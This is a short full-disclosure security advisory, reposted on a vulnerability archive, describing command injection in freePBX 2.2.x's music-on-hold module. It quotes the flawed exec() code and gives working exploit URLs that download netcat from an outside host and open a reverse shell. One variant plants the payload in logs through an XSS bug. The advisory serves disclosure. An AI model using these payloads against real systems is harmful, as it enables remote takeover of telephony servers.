Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16817
HistoryApr 22, 2007 - 12:00 a.m.

[Full-disclosure] freePBX 2.2.x's Music-on-hold Remote Code Execution Injection

2007-04-2200:00:00
vulners.com
27

I've found a code injection in the music-on-hold module at freePBX's
portal.

There are Inssuficient filters in the delete functions. Only " '
and ; are being filtered.

Vulnerable Lines:
300: $rmcmd="rm -f \"".$path_to_dir."/".
$del."\"";
301: exec($rmcmd);

Example code:
http://<freePBX-host>/admin/config.php?display=music&del=\`wget -q
http://xenomuta.coolinc.info/nc -O /tmp/nc\`\`/tmp/nc
myhost.mydomain.com 1234 -e /bin/sh\`&category=default

You can inject this code without access to the portal into the /var/
log/asterisk/full this way…
./asteriskxss.php asterisk-server "<img src=\"/admin/config.php?
display=music&del=\`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc
\`\`/tmp/nc myhost.mydomain.com 1234 -e /bin/sh\`&category=default\">"
hoping that an administrator to view the logs from the portals…
using the documented XSS vulnerability posted here…

http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/
053882.html